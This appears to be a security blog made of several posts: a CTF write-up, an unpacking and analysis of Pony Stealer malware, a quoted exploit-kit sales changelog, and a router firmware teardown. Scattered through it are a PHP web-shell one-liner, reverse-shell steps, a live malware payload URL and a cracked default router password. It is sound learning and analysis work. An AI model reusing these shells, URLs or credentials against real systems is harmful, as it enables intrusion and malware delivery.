Figure 2: Magnitude successfully exploiting CVE-2018-8174 against IE11 on Windows 7 to deploy Magniber Ransomware - 2018-06-02
Note: Magniber is back (after 1 month and half of GandCrab) in this infection chain and is now (as GandCrab) also accepting Dash cryptocurrency as payment
This writeup covers the Vulnhub CTF machine named Homeless by Min Ko Ko. Honestly this was a hard box and I had a hard time with some really nasty tricks but finally, I learned a lot. Seriously, a lot.
After booting up victim box and kali, initial phase, as always, is discovering the box:
Discovering box
Box had from my DHCP server address 172.16.10.127
Mapping some ports:
Scanning for open ports
Nothing too much interesting, standard HTTP port and SSH port. What seems interesting is the robots.txt that gives some clue about a special wordlist that eventually will be used in the next phases. But, trust me, we are very far from there right now. :-)
So, time to open up our browser and give a look around. What caught my attention is that somewhere on the page is rendered our browser User-Agent header:
So, instantly, what comes to mind is Shellshock! Sadly I spent two entire days poking around with every single point of injection trying to take advantage of this bug but nothing showed up. Literally nothing. :-\
So I went brutal and I downloaded every single piece of this website and analyzed every single evidence. Very much time but, in the end, well spent:
This small file, favicon.jpg, itβs not the usual one.
Another big trick. Whatβs this image? Whatβs his purpose? Again I spent another day analyzing this image without any luckβ¦after a while I tried to insert what is written in that caption βCyberdog Sledding Portalβ inside the User-Agent header andβ¦
So, this little bastard was expecting some password to open it up. Again, bastard!
Back on track again, we need to go to another location: /myuploader_priv. Seems pretty easy uh? Upload a PHP reverse shell and we go in. Sadly, for the second time, no:
I tried to upload every kind of files, of every size, tried changing every single header but nothing. Every file I tried to upload was always too large. I went manually and tried to upload files containing one, two, three characters and so I was able to get the max allowed file size that is 8 BYTES. Seriously? What the f**ck is supposed to mean? No way to upload PHP shells or reverse shells because, as far as I know, the smallest code execution snippet is this: <?=`$_GET[1]`?>. No way to fit in this ridiculously 8 bytes limit. So, how we can step forward? Simple, manually.
So, I found that the only commands we can execute are limited to two characters long, so with <?=βlsβ inside a file named sploit.php we found:
That was hard.
But nothing compared to this:
Ok, I really need a hint :-|
After checking this login form and, in particular, that piece of code I really wanted to die.
How can I suppose to break this one?
Another three days passed and I was asking for some help on every single social media I had. Thanks to this guy that pointed me in this right direction, I found this useful python script that can generate md5 collisions.
But, yeah, itβs not that easy, right?
Theyβre binary and we canβt send them directly to the HTTP form without encoding problems that, essentially, will break the md5 signatureβ¦
Maybe we can try to encode them:
And send them to their good form:
Please, kill me and give me flagβ¦not now:
Basically we have a command execution form:
So we can have a shell via netcat. Luckily we have a good version of it:
And from now on, itβs pretty easy. Standard usual enumerating stuff:
We have a username and we have a good wordlist: Rockyou.txt so we can brute force it. Sadly this was long, very long. But finally we had a shot:
We can now have a real shell with lowpriv access:
Found and fixed a cronjob and modified it to send back a python reverse shell with root privileges:
During my day by day job, I had the chance to came across a mail that was blocked by an antispam platform. Attached to this mail there was a sample recognized as a variant of Pony Stealer malware. Since I've been greatly interested into malware analysis in the last few months, I thought it would be fun, and also a useful exercise, to apply all the notions I've been reading so far and writing this post, maybe, would help me in fixing methodologies and concepts. I hope this will be a two parts blog post: during this first part I will focus on unpacking the malware, during the second one I'll try to analyze its real behavior. Let's the journey begin.
Noob alert
First things first: I'm no expert at all. This is my first experience in reversing malware - and also in blogging something - and so expect a lot of shady things and confused assumptions. Learning something new is always a good idea and I hope that digging into malware analysis will allow me to glue together some skills that I'm trying to learn in the last couple of Β years. Also, do not rely on the memory addresses in the screenshots. As this post was written during various sessions, memory addresses changed every time due to operating system memory protections (ASLR).
Lab setup
You can find great tutorials online on how to setup a professional and secure lab to test all malicious sample you get. I'd like to point you out to these useful resources:
Since, right now, I don't have a working setup of Cuckoo sandbox on my behalf, the very first thing I did was uploading the sample into a freely usable sandbox online with these results: http://tinyurl.com/y9gspzmt. As you can see, it labels the sample as a variant of the VBObfus.g family. I didn't find Β a lot of informations about this malware family, but dynamic analysis shows me very few indicators:
No evidence of malware activity into screenshot.
No network activity.
Every string is almost obfuscated.
No extracted files.
No evidence of process injection.
Important to note, although no clear evidences, the sample is classified as malicious with threat level as 71/100. Pretty strange, uh?
Hybrid Analysis has this great feature: if you click on the sample filename, in this case SKMBT_C36018060720040_pdf.exe, it shows a bunch of useful informations such as API calls used by the executable, registry keys it gets and/or sets during its runtime, filesystem activity, handles opened to files, operating system modules and other kind of libraries it uses. With all these informations we should have a proper level of confidence of what happens during the sandbox run. Let's dig into some of them.
First thing I looked at, was the activity on the filesystem:
No files saved and the infamous msvbvm60.dll caught my attention, but we will deal with this later. Nothing too much interesting into registry section too:
There's a possibility to filter the operations (Query, Open, Write and Delete) but I didn't find anything related to write or delete operations.
The most interesting section is the API calls section. To understand the malware behavior during its run inside the sandbox, it's necessary to analyze what API this sample calls. Following this and this useful resources, I started checking API calls, trying to find any evidence of anti-debug or anti-vm techniques, mainly because there's no evidence of process injection and nowadays process injection is a very, very common technique. After checking all API anti-debug calls found in documentation I was clearly missing something because I wasn't able to find any of them. So it's time to give it a run into my lab and observe its behavior.
Static analysis
Before give it a run, let's check with some basic tools how's the file is built:
So, really we're dealing with a VisualBasic 5/6 executable file.
Let's dig into more details with the executable:
With this great tool we can find some initial informations:
File Version Info Size=1548 -> 060Ch Translations : 040904B0 Β Β Language : English (U.S.) Β - Β ( 0 4 0 9 )
Don't know how useful these informations are but, anyway, it's always better to have informations rather than nothing. Assumed that it's a VB5/6 executable file and I don't know how to deal with it inside IDAPro, my next action will be to run it inside my Analysis VM, with the intent to understand better its behavior.
Dynamic analysis
Interestingly it seems to me that, after some sort of unpacking in memory, there is clearly a process injection:
Apparently there must be in place some sort of anti-debug and/or anti-vm tricks. Easily enough in x32dbg there is a life-saving plugin, named ScyllaHide, that is capable of doing some black magic to hide the debugger from malware. We can avoid the process crashing during its run inside the debugger.
We can observe that the sample creates another process with the same name - a copy of itself - and this is typically an indication of the process hollowing.
I won't dig into describing the process injection because there are some great guys that have created very complete and clear tutorials on how to approach this technique. I can suggest this site maintained by this great guy: Sergey and also his Youtube channel here. I strongly suggest to follow all of his videos and tutorials: they are a great way to learn malware analysis and unpacking.
Unpacking the malware
To unpack the malware we'll focus mainly on these three API calls:
First API call to breakpoint into debugger is kernel32.CreateProcessW, that creates a new process and its primary thread (cit. Microsoft). We're interested in its syntax:
And more interestingly, its structure on the stack when its called:
In accordance with the calling convention the function parameters are pushed on the stack in reverse order. Β At address 0x0018F460 there's the function fifth parameter dwCreationFlags, with the value of 0x00000004. This value means CREATE_SUSPENDED; we have reached the start of the hollowing process: a new copy of the process has been created in suspended mode.
We can confirm its PID 2660, running the function CreateProcessW until it returns and checking in memory dump the value of the first parameter pushed on the stack at address 0x0018F470 with the value of 0x0643008C:
The new process PID is at address 0x06430094: 0x0A64 that translate into decimal in 2660.
Running the newly created process
We won't bother too much with ntResumeThread API call. Just note that when you reach breakpoint on this call, you know that the malware is ready to run itself (the new copy of itself actually) and, for this reason, you need to be very caution. Just don't let this call run because you're executing the malware itself.
Unpacking the malware
The interesting part: this API call let us to dump the hidden payload stored inside the malware. So, breakpoint on it and let the malware run until it reaches the breakpoint. As before:
NtWriteVirtualMemory(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress,
IN PVOID Buffer,
IN ULONG NumberOfBytesToWrite,
OUT PULONG NumberOfBytesWritten OPTIONAL );
Basically we're interested in two arguments, in particular: the BaseAddress andthe Buffer. These two parameters tell us where the buffer (the malware payload) will be written inside the newly created child's memory. During its run, the malware makes a lot of calls to this function and I single stepped all of them: when breakpoint is reached, analyze the stack:
Focus on the third argument: 0x064B6000 and follow it into the memory dump:
It seems we found something interesting, uh? :-)
We found that a PE file will be copied inside a memory address. Easy to dump it, right now: right click on to that address and follow it into memory map and after that dump that segment into a file.
So we have dumped an entire segment into a bin file. We can open it with an hex editor, scroll down until we reach the start of PE file (MZ magic bytes) and clear all junk from MZ to the beginning of the dump. Save to a new exe file and we're ready to open it with another great tool made by hasherazade: PE Bear. Luckily for us, IAT (Import Address Table) was not corrupted and we can see all the API the (real)malware calls when it runs.
Basically we have unpacked the malware.
I will try to update this post with the second part as soon as I'll figure it out. :-)
After we were able to unpack the sample like we did in the previous post, it's time to understand what the malware is intended to do. The very first thing that I normally do is to give the sample a dry run inside a dedicated virtual machine, just to observe its behavior and monitoring its API calls. These calls can be monitored with a little tool called ApiLogger - that can be found here and it's automatically installed by the Flare-vm script.
The API logger works by injecting a DLL into the target process. Once loaded, the DLL will insert a series of detours style hooks into specific API calls. When these API are accessed by any code in the process, they will trigger a notification message which gets sent to the main interface.
It's clear that malware tries to steal informations (probably credentials) of various software via calls to RegOpenKeyA and RegOpenKeyExA:
And at the end of the run, it tries to connect to the domain singatradeing.com:
We can catch this connection with another great tool from FireEye, FakeNet-NG that will capture and fake responses to all the queries DNS and HTTP Β requests, saving all activities into a pcap file that could be analyzed with Wireshark:
We can see that the malware resolved the domain name singatradeing.com with a query DNS (that is faked by FakeNet-NG):
And sent an http GET request to: http://singatradeing.com/espnphp/coreserver/shit.exe
Our fake response served an executable file that was run by the malware:
After that, the malware deleted itself. For this reason, remember to make a copy of the sample executable.
I wasn't able to download the real executable (shit.exe) but I'm sure it will be easy to find it.
More informations related to that domain can be found here.
Recap
The malware sample, when it runs, tries to steal credentials from the registry keys, tries to download another executable and run it, deleting itself at the end.
After the first two parts here and here, we can move forward giving the sample a run inside a disassembler to look what's inside and, eventually, into a debugger to see it live.
IDA has some difficulties to analyze the sample due to the facts it heavily uses anti-disassembly trick:
Note that the conditional jump to 41062E never gonna happens. We can patch those bytes \xF8\x72\x01 with NOP instruction or leave them alone knowing the fact that IDA can be fooled during analysis. Also at 41062F the sample delays its execution, invoking GetTickCount function and dividing the remainder of the DIV instruction by a predefined constant. So until the CMP instruction is satisfied it will run this bunch of code a pseudo-random number of times. It appears that this technique can trick some antivirus heuristic controls.
After condition is verified, the flow reaches the CALL instruction at 4105c3, we see another anti-disassembly technique, the misaligned PUSH instruction.
Clearly the misaligned PUSH at 4105c7 is there to fool the disassembler and we need to fix it if we want to have a better look on that piece of code. By defining manually that byte at 4105d0, IDA can now better analyze the code:
Now it's clear what this piece of code does: it pushes the address of the function at 4105a2 onto the stack. This pointer will be the argument of SetUnhandledExceptionFilter function that, in the end, will exit from the process in case of unhandled exception.
Let's focus on what happens at address 410508, because it's where the fun starts:
After some studies I tried to interpret that code and the results are shown below.
Basically malware is starting its activities: first it loads libraries with the OleInitialize and LoadLibraries calls, after it fires up a delayer routine that, in malware intentions, will fool the heuristic controls of Kaspersky Antivirus. After that it enable some required privileges with the fourth call:
This routine will cycle through and enable all these privileges:
And after that it tries to get if the process is running within LocalSystem or not. In both cases it will impersonate or the LocalSystemUser or the LocalUser using the API call to GetUserNameA.
In the next session we'll go deeper into the analysis trying to better understand its codebase.
The CVE-2018-15982 is a bug that allows remote code execution in Flash Player up to 31.0.0.153, spotted in the wild as a 0day. Patched on December 05, 2018 with APSB18-42.
So! The hard work on the restoration of the entire infrastructure of the bundle was completed, tests were carried out and at the moment the bundle is working in full. There have also been many edits and changes.
Changes:
Increased performance
The code obfuscation and landing generation mechanism has been completely redesigned.
Removed CVE-2018-8373 for recycling. At the moment, the flow rate is not stable.
Added new flash sploit CVE-2018-15982.
To launch Powershell, the disable code AMSI is added to the shellcode
A bunch of minor edits
CHANGED PRICE POLICY
Week 400 $
Month $ 1300
At the moment, when checking the otstuk software from the bundle, it was revealed:
During last months, my interest in hardware hacking got an exponential growth due to the fact I had the chance to get my hands on some so-ho routers unretired from local Telcos. So what a great opportunity to open and try to crack them, without worrying about irreparable damage?
Inspecting the device
My first device was the Technicolor TG582N distributed in Italy by Fastweb.
Front sideBack side
Nothing too much interesting externally: for this purpose, common useless informations about wireless access code, serial number, mac-address, etc.
A much more interesting view is the internal one: I was able to remove the two lower screws, under the rubbers and, with a gentle lever, the upper part can be unhooked giving access to the router motherboard.
Router motherboard with the relevant ICs
Internal components analysis
A pretty standard design for this kind of device, we can clearly see the main CPU Broadcom BCM63281KFBG and its two memory ICs (Integrated Circuits): RAM and Flash memory. There's also another Broadcom chip but its role is to manage wireless functionalities and, for now, is out of scope.
Winbond W9751G6KB-25Spansion FL064PIF
For the volatile data, the device uses a DDR2 SDRAM module produced by Winbond with the capacity 512 Mbit (64 MByte). Obviously I'm interested in the EEPROM chip, because it's where the non-volatile data is stored and persists across reboots and shutdowns. This device has a flash memory module produced by Spansion (now Cypress) with the capacity of 64 Mbit (8 Mbyte).
Accessing to UART console
I didn't put too much effort in this because the nice guys of OpenWRT project did all the dirty job. Although the board perfectly matches to the devices described in that page, I noted a slight difference on the EEPROM chip. They mention three board type: DANT-1, DANT-T, and DANT-V. These boards have three types of EEPROM chip but none of them have this Spansion chip, only the DANT-V version has a Spansion chip but it's an FL129P, a 128 Mbit flash memory. We're definitely dealing with a slightly smaller memory chip. Anyway, UART pins are the same of other boards and we need to solder 3 pins (Tx, Rx, and GND) and short circuit R62 and R63 as noted in the above link.
Soldered UART pins
After this little soldering, we can attach a common interface based on the FTD232 and have a console access. Remember to NOT attach the VCC pin because the required power will be provided by the standard supply.
With this simple setup we can finally have access to the router console and see all the boot messages:
After the boot, there's the good old login screen but without a valid username/password there's not much we can do. One way to proceed is to investigate the filesystem without any sort of access control. Filesystem can be obtained by dumping it directly from the flash memory. Β
Dumping the flash
Reading the flash memory contents is not something overcomplicated but requires a bit of understanding of how integrated circuits work and how you can obtain the raw contents of the chip using the same interfaces and protocols used by the main CPU during the normal operation of the device.
For this purpose we're targeting the flash memory chip that was inspected above: a Spansion chip FL064pif with its datasheet is available on the manufacture site.
In order to read - and eventually write - its contents, we need to interface with the chip itself, using its pins and using a serial protocol, named SPI. The useful pins are Vcc, CS, SO, SI, SCK and GNDand their description is available on the datasheet.
Dumping the chip can be done with BusPirate and Flashrom. In order to avoid any desoldering, we'll use a Pomona SOIC clip model 5252. In this case, power we'll be supplied by the BusPirate itself and the board must be switched off. This is because we don't want any interaction from the main CPU that will interfere with the memory chip while we're dumping its contents.
In-system programming
In this case we were lucky, because powering up the chip itself didn't wake up any other component of the board, like the main CPU. This can happens and depends on how the board is designed and how the components are connected and can vary from board to board. If there's such interference you'll end up with a corrupted dump and flashrom won't alert you in that case. This is why it's a good practice to verify the correctness of the dumping process.
Dumping the flashVerifying the dump
We now have the entire content of the flash memory. We can read, eventually, bootloader, Linux kernel and, more interesting, the root filesystem. Basically we have the entire software stack the manufacturer has deployed on the device.
Firmware extraction
For the extraction we will use the Binwalk utility. It will read the dump and try to recognize and extract any known file format.
Honestly, this is the first time I had so much results from binwalk. The first thing I noted is the SquashFS signature. From the boot log messages, we know that the root filesystem is in that format:
[email protected]:~/Projects/tg582n/_dump.bin.extracted/squashfs-root# ll
total 68K
drwxrwxr-x 15 root root 4,0K ott 15 2012 .
drwxr-xr-x 34 root root 12K gen 20 12:06 ..
drwxrwxr-x 3 root root 4,0K ott 15 2012 archive
drwxrwxrwx 2 root root 4,0K mar 26 2012 bin
drwxrwxrwx 6 root root 4,0K mar 26 2012 dev
lrwxrwxrwx 1 root root 6 mar 26 2012 dl -> /rw/dl
drwxrwxr-x 10 root root 4,0K mar 26 2012 etc
drwxrwxrwx 3 root root 4,0K mar 26 2012 lib
drwxrwxrwx 2 root root 4,0K mar 26 2012 nmon
drwxrwxrwx 2 root root 4,0K mar 26 2012 proc
drwxrwxrwx 3 root root 4,0K mar 26 2012 rw
drwxrwxrwx 2 root root 4,0K mar 26 2012 sbin
drwxrwxrwx 2 root root 4,0K mar 26 2012 sys
lrwxrwxrwx 1 root root 8 mar 26 2012 tmp -> /var/tmp
drwxrwxrwx 2 root root 4,0K mar 26 2012 userfs
drwxrwxrwx 5 root root 4,0K mar 26 2012 usr
drwxrwxrwx 2 root root 4,0K mar 26 2012 var
[email protected]:~/Projects/tg582n/_dump.bin.extracted/squashfs-root#
We're interested into passwd file but looking up in the /etc directory, we find that, like most embedded device, that file is autogenerated and what we see is only a placeholder.
[email protected]:~/Projects/tg582n/_dump.bin.extracted/squashfs-root/etc# ll
total 100K
drwxrwxr-x 10 root root 4,0K mar 26 2012 .
drwxrwxr-x 15 root root 4,0K ott 15 2012 ..
-rw-r--r-- 1 root root 513 mar 26 2012 advancedservices.conf
-r--r--r-- 1 root root 377 mar 26 2012 autoconf.conf
-r--r--r-- 1 root root 133 mar 26 2012 autoip.conf
drwxrwxrwx 2 root root 4,0K mar 26 2012 config
-rw-rw-rw- 1 root root 345 mar 26 2012 fileprofiler.conf
-r--r--r-- 1 root root 73 mar 26 2012 fstab
-r--r--r-- 1 root root 17 mar 26 2012 fuse.conf
lrwxrwxrwx 1 root root 15 mar 26 2012 group -> ../rw/etc/group
lrwxrwxrwx 1 root root 17 mar 26 2012 gshadow -> ../rw/etc/gshadow
-r--r--r-- 1 root root 26 mar 26 2012 host.conf
drwxrwxr-x 2 root root 4,0K mar 26 2012 init.d
-r--r--r-- 1 root root 513 mar 26 2012 inittab
-r--r--r-- 1 root root 17K mar 26 2012 mime.types
lrwxrwxrwx 1 root root 14 mar 26 2012 mtab -> ../proc/mounts
-r--r--r-- 1 root root 465 mar 26 2012 nsswitch.conf
lrwxrwxrwx 1 root root 16 mar 26 2012 passwd -> ../rw/etc/passwd
drwxr-xr-x 2 root root 4,0K mar 26 2012 rc0.d
drwxr-xr-x 2 root root 4,0K mar 26 2012 rc1.d
drwxr-xr-x 2 root root 4,0K mar 26 2012 rc2.d
drwxr-xr-x 2 root root 4,0K mar 26 2012 rc3.d
lrwxrwxrwx 1 root root 21 mar 26 2012 resolv.conf -> ../rw/etc/resolv.conf
lrwxrwxrwx 1 root root 16 mar 26 2012 shadow -> ../rw/etc/shadow
drwxrwxr-x 2 root root 4,0K mar 26 2012 udhcpc
drwxrwxrwx 2 root root 4,0K mar 26 2012 usbmgr
-rw-rw-rw- 1 root root 8 mar 26 2012 version
[email protected]:~/Projects/tg582n/_dump.bin.extracted/squashfs-root/etc#
```
passwd file is a link to another file in the /rw directory that, right now, is empty. How that file is generated during every boot? What script is in charge of managing it? We need to find the answers...
Hunting for the system users
Poking around in /etc directory can be useful because, in the end, this is a standard Linux based system and something in that directory must exist that will reveal us what are the allowed users to the system.
For what it seems, interesting files in /etc directory are symlinks to the relative ones in /rw and, for me, rw has something to do with Read and Write operations. Let's search some evidence of this path in configuration files:
[email protected]:~/Projects/tg582n/_dump.bin.extracted/squashfs-root/etc# grep -ir rw
init.d/clinkd:CLINKCONF_DEST=/rw/etc/
init.d/clinkd: #CPE_P00075123:CJ:Change clink.conf to a rw location
init.d/usb_storage: # eb 3c 90, we're definitely dealing with a FAT boot sector. Otherwise, we
init.d/usb_storage: SMBD_STATUS=0 # 0 means that cifs service is stopped (otherwise it is running)
init.d/jffs2contentcheck:# push down of dl partition content into /rw/dl
init.d/jffs2contentcheck: # New layout: (USERFS mounted on /rw)
init.d/jffs2contentcheck: # /dl --> /rw/dl
init.d/jffs2contentcheck: if [ "`cat /proc/mounts | grep /dev/mtdblock0 | grep /rw`" ]; then
init.d/jffs2contentcheck: [ -d /rw/etc ] || mkdir -m 775 /rw/etc
init.d/jffs2contentcheck: if [ ! -d /rw/dl ]; then
init.d/jffs2contentcheck: echo " Detected old jffs2 partition layout! Converting /rw to new layout"
init.d/jffs2contentcheck: mkdir -m 775 /rw/dl
init.d/jffs2contentcheck: for file in /rw/*; do
init.d/jffs2contentcheck: ([ "${file}" = "/rw/dl" ] || [ "${file}" = "/rw/etc" ]) && continue
init.d/jffs2contentcheck: mv ${file} /rw/dl/
init.d/jffs2contentcheck: # /rw --> /userfs/config-bank-X
init.d/jffs2contentcheck: # /dl --> /rw/dl
init.d/jffs2contentcheck: # Set /rw correctly: since /rw is on rootfs which is read-only, we
init.d/jffs2contentcheck: mount -o bind $CONFDIR /rw
advancedservices.conf:HDTOOLSDIR="/rw/disk"
advancedservices.conf:FLASHCONFIGDIR="/rw/etc/"
mime.types:application/vnd.vectorworks
We found thatclinkd, jffs2contentcheck and advancedservices.conf have something to do with the /rw directory. Let's review these evidence.
clinkd: in the comment section of the script: "This is the init script for the Entropic clinkd daemon". I wasn't able to find useful informations about this daemon.
advancedservices.conf: nothing too much interesting here, only a small nudge to the fact that /rw/etc is the writable part of the flash.
jffs2contentcheck: this is interesting, we found plenty of informations in this script. For better understand its purpose, this is the full source and, actually, it's pretty well commented.
#!/bin/sh
####
# This script checks and converts the layout of the writable partition to its
# latest version.
#
# Changelog:
# * 7.4.4 > 8.1.1:
# push down of dl partition content into /rw/dl
# [Steven Aerts -- 2008/03/12]
####
. /etc/autoconf.conf
start () {
# Verify 7.4.4 to 8.1.1 userfs migration
# Old layout: (USERFS mounted on /dl)
# USERFS/user.ini
# USERFS/etc/...
# USERFS/tls/...
# New layout: (USERFS mounted on /rw)
# USERFS/etc/...
# USERFS/dl/user.ini
# USERFS/dl/tls/...
# /dl --> /rw/dl
if [ "`cat /proc/mounts | grep /dev/mtdblock0 | grep /rw`" ]; then
[ -d /rw/etc ] || mkdir -m 775 /rw/etc
if [ ! -d /rw/dl ]; then
echo " Detected old jffs2 partition layout! Converting /rw to new layout"
mkdir -m 775 /rw/dl
for file in /rw/*; do
([ "${file}" = "/rw/dl" ] || [ "${file}" = "/rw/etc" ]) && continue
mv ${file} /rw/dl/
done
fi
fi
# Migrate to dual bank layout
# New layout: (USERFS mounted on /userfs)
# USERFS/config-bank-X/etc/...
# USERFS/config-bank-X/dl/...
# /rw --> /userfs/config-bank-X
# /dl --> /rw/dl
# Determine booted bank from command line
BOOTID=$(sed -n "s/.*btab_bootid=\([0-9]\+\).*/\1/p" /proc/cmdline)
# If BOOTID is empty, set it to a certain value (single-bank case)
[ -z "$BOOTID" ] && BOOTID=999
CONFDIR="/userfs/config-bank-$BOOTID"
# Create a config directory for the booted bank if it does not yet exist
[ ! -d $CONFDIR ] && mkdir $CONFDIR
# Set /rw correctly: since /rw is on rootfs which is read-only, we
# cannot use a symlink. However, mount supports the bind option which
# essentially does the same.
mount -o bind $CONFDIR /rw
# If there are any files/directories in /userfs (config-bank-X
# directories excluding), move them to the config directory of the
# booted bank. This indicates a first boot from BLI.
for i in $(ls /userfs | grep -v "^config-bank-*" | grep -v "^common$"); do
mv /userfs/$i $CONFDIR
done
# If the config directory is still empty, copy the configuration
# from another bank to allow a 'correct' boot. This can happen when
# you upgrade an rbi with the bootloader.
# NOTE: there is no guarantee that this configuration will work, but
# it's better to have something.
if [ -z "$(ls $CONFDIR | grep -v "^version$" 2>/dev/null)" -a -x /usr/bin/copyconfig ]; then
/usr/bin/copyconfig "lastboot" $BOOTID
fi
# Set the 'lastboot' symlink to the current configuration
rm -f /userfs/config-bank-lastboot
ln -sf $CONFDIR /userfs/config-bank-lastboot
# Copy the version file from /etc to /userfs/config-bank-X
if [ -f /etc/version ]; then
cp /etc/version $CONFDIR
else
echo "Unknown" > $CONFDIR/version
fi
# Create a common userfs directory
[ ! -d /userfs/common ] && mkdir /userfs/common
}
case $1 in
start)
start
;;
stop)
;;
restart)
;;
*)
echo "Usage $0 [start|stop|restart]"
exit 1
;;
esac
JFFS2 (Journaled Flash File System v2) is a file system designed for use on Flash devices such as those commonly found in embedded systems. Unlike some other file systems which may be stored on the Flash device and then copied into RAM during boot (i.e. ramdisk) JFFS2 actually resides on the Flash device and allows the user to read/write data to Flash. This is particularly useful in embedded devices that wish to save some persistent data between reboots. [cit]
We finally found where the persistent informations are saved. Coming back to the binwalk analysis, I remember many signature related to JFFS2 filesystem. Let's review the evidences extracted:
Honestly I don't know why there are so much copies of same files but, definitely, we found what we were looking for: not only the passwd file but also certificates with private keys, user configurations, xdsl line configurations, etc.
Let's try to understand if there are any differences between files inside that directories, so we can narrow our analysis. With a basic bash scripting knowledge, we can use md5sum to find if files are the same. Turns out that almost every file are copies and the only variable is user.ini. Also, the .upg file appears to be the same of smbpasswd.
passwd: the file we were looking for. This file will be slightly modified during boot because root access is somehow disabled but at least we found two users: Administrator and tech with relative hash.
If you search on Google, turns out that the hash ANpAYtow5vx0Uwas generated by the command mkpasswd and here we can read that:
If your password is on this list, it is not secure. It was generated by using the program 'mkpasswd' and then not typing anything. It turns out that 'mkpasswd' doesn't make passwords, it makes password hashes. If you enter a blank password, it generates one of 4096 possible passwords.
So, Administrator user has a simple blank password, I didn't find anything similar with the hash of the tech user. For this user I started a simple crack session with john, and without any fancy cracking rig or powerful graphic video card, after an affordable cracking time (~ 2days) I managed to crack the password: it appears to be 55058391.
secrets.tdb: related to Samba services, it stores passwords in clear text. This file can be opened with the tdbdump:
I spent a lot of time poking around in this weird restricted shell. I wasn't able to escape to our beloved Busybox that I know is running below. No matter what I tried, I always ended up in this jail I could not escape. It seems to manage everything from the console access.
To confirm this theory, I found this old post:
And suddenly I remembered this two sneaky files laying in the /nmon directory.
I'm quite sure this program is run at boot time and, basically, take the control of the entire router. This can now be confirmed in the boot log above:
linux application start ...
wait for linux_appl to initialize (1)
wait for linux_appl to initialize (2)
************* ERROR RECORD *************
000000:00:00.000000
Application NMON started after POWERON.
****************** END *****************
wait for linux_appl to initialize (3)
appl_init: BUILD VERIFIED!
wait for linux_appl to initialize (4)
[SS EMUL] ERR: opening config file /active/ss.conf failed
End of initialisation
wait for linux_appl to initialize (5)
And this is the script that, at boot time, runs the linux_appl.exe
#
#/etc/init.d/linuxappl
#
#!/bin/sh
. /etc/init.d/mbusd_util
case $1 in
start)
TELLER=0
# linux application configuration
/bin/echo "linux application start ..."
rm -f /var/run/linux_appl
rm -f /var/run/init_finished
mbusd_set_loadapp
../../nmon/linux_appl.exe /dev/nmon/nmontrace /dev/nmon/nmonerr /archive/ &
while [ ! -f /var/run/linux_appl ]
do
TELLER=`expr ${TELLER} + 1`
echo "wait for linux_appl to initialize (${TELLER})"
sleep 1;
done
;;
stop)
killall -9 linux_appl
;;
*)
esac
Next steps
This ends up this phase of my journey. Honestly, I was (am) not prepared to impact in a so restricted and particular environment. My next steps will be to look the router from a network point of view, analyzing it while it's up & running, trying to find information within the services it runs and offers.
I hope you will find this post useful and if you have any hints or ideas to help me, please drop me a note.
If you tried to burn and run the Kali image that can be downloaded from the Offensive Security website, probably you ended up in a non bootable image.
U-Boot SPL 2018.05+dfsg-1 (May 10 2018 - 20:24:57 +0000)
Trying to boot from MMC1
U-Boot 2018.05+dfsg-1 (May 10 2018 - 20:24:57 +0000)
CPU: Freescale i.MX6Q rev1.2 996 MHz (running at 792 MHz)
CPU: Extended Commercial temperature grade (-20C to 105C) at 19C
Reset cause: POR
Board: MX6 Cubox-i
DRAM: 2 GiB
MMC: FSL_SDHC: 0
Loading Environment from MMC... *** Warning - bad CRC, using default environment
Failed (-5)
No panel detected: default to HDMI
Display: HDMI (1024x768)
In: serial
Out: serial
Err: serial
Net: FEC
Hit any key to stop autoboot: 0
switch to partitions #0, OK
mmc0 is current device
Scanning mmc 0:1...
AHCI 0001.0300 32 slots 1 ports 3 Gbps 0x1 impl SATA mode
flags: ncq stag pm led clo only pmp pio slum part
No port device detected!
Device 0: Model: Firm: Ser#:
Type: Hard Disk
Capacity: not available
... is now current device
timeout exit!
timeout exit!
timeout exit!
timeout exit!
timeout exit!
timeout exit!
This is how you can fix it.
First thing, go here and download the image. Burn it into a nice fast SDCard as you can read in the tutorial. In my own system, SDCard is located at /dev/sdb, adjust accordingly to your settings.
Now mount the image wherever you like and chroot into it. You'll should be able to browse it:
[email protected]:/# ll
total 84K
drwxr-xr-x 18 root root 4,0K feb 11 11:50 .
drwxr-xr-x 18 root root 4,0K feb 11 11:50 ..
lrwxrwxrwx 1 root root 7 ott 17 19:08 bin -> usr/bin
drwxr-xr-x 3 root root 4,0K feb 11 11:56 boot
drwxr-xr-x 4 root root 4,0K ott 17 19:08 dev
drwxr-xr-x 109 root root 4,0K feb 11 18:04 etc
drwxr-xr-x 2 root root 4,0K set 12 08:36 home
lrwxrwxrwx 1 root root 34 feb 11 11:50 initrd.img -> boot/initrd.img-4.19.0-kali1-armmp
lrwxrwxrwx 1 root root 34 ott 17 19:24 initrd.img.old -> boot/initrd.img-4.18.0-kali2-armmp
lrwxrwxrwx 1 root root 7 ott 17 19:08 lib -> usr/lib
drwx------ 2 root root 16K ott 17 19:39 lost+found
drwxr-xr-x 2 root root 4,0K ott 17 19:08 media
drwxr-xr-x 2 root root 4,0K ott 17 19:08 mnt
drwxr-xr-x 4 root root 4,0K feb 11 12:23 opt
drwxr-xr-x 2 root root 4,0K set 12 08:36 proc
drwx------ 9 root root 4,0K feb 11 17:43 root
drwxr-xr-x 2 root root 4,0K set 12 08:36 run
lrwxrwxrwx 1 root root 8 ott 17 19:08 sbin -> usr/sbin
drwxr-xr-x 2 root root 4,0K ott 17 19:08 srv
drwxr-xr-x 2 root root 4,0K set 12 08:36 sys
drwxrwxrwt 10 root root 4,0K feb 11 19:42 tmp
drwxr-xr-x 10 root root 4,0K ott 17 19:08 usr
drwxr-xr-x 12 root root 4,0K ott 17 19:23 var
lrwxrwxrwx 1 root root 31 feb 11 11:50 vmlinuz -> boot/vmlinuz-4.19.0-kali1-armmp
lrwxrwxrwx 1 root root 31 ott 17 19:24 vmlinuz.old -> boot/vmlinuz-4.18.0-kali2-armmp
[email protected]:/#
Go into the /boot directory, create a symlink named dtbs that point to /usr/lib/linux-image-$(uname -r), in my case I'm with the 4.19.0 kernel version. Verify in you're own Kali version.
Also, create the extlinux directory and, inside of it, create a file named extlinux.conf. So, right now, you should be in this scenario.
[email protected]:/boot# ll
total 53M
drwxr-xr-x 3 root root 4,0K feb 11 11:56 .
drwxr-xr-x 18 root root 4,0K feb 11 11:50 ..
-rw-r--r-- 1 root root 203K ott 9 14:47 config-4.18.0-kali2-armmp
-rw-r--r-- 1 root root 205K gen 3 08:34 config-4.19.0-kali1-armmp
